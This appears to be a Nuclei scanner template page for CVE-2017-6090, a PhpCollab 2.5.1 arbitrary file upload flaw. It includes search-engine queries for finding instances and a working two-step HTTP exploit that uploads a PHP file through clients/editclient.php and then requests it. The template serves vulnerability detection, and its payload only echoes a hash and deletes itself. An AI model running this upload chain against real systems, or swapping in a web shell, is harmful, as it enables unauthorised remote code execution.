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PhpColl 2.5.1 Arbitrary File Upload

ID: CVE-2017-6090

Severity: high

Author: pikpikcu

Tags: cve,cve2017,phpcollab,rce,fileupload,edb,intrusive

PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.

id: CVE-2017-6090
info:
name: PhpColl 2.5.1 Arbitrary File Upload
author: pikpikcu
severity: high
description: PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.
impact: |
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
remediation: |
Apply the latest patch or upgrade to a newer version of PhpColl to mitigate this vulnerability.
reference:
- https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/
- https://nvd.nist.gov/vuln/detail/CVE-2017-6090
- https://www.exploit-db.com/exploits/42934/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2017-6090
cwe-id: CWE-434
epss-score: 0.97204
epss-percentile: 0.99825
cpe: cpe:2.3:a:phpcollab:phpcollab:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: phpcollab
product: phpcollab
shodan-query:
- http.title:"PhpCollab"
- http.title:"phpcollab"
fofa-query: title="phpcollab"
google-query: intitle:"phpcollab"
tags: cve,cve2017,phpcollab,rce,fileupload,edb,intrusive
variables:
string: "CVE-2017-6090"
http:
- raw:
- |
POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
-----------------------------154934846911423734231554128137
Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php"
Content-Type: application/x-php
<?php echo md5("{{string}}");unlink(__FILE__);?>
-----------------------------154934846911423734231554128137--
- |
GET /logos_clients/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '{{md5(string)}}'
- type: status
status:
- 200
# digest: 4a0a00473045022100e3a4dc556c6924d836c7e5146d67eed6a1247fb1f159be53b8ff6a304c60dbac02201ab3ebee860f4023c6abc6b08c0f0f0d3c780de36e70514a9a4b481f03477e30:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-6090.yaml"

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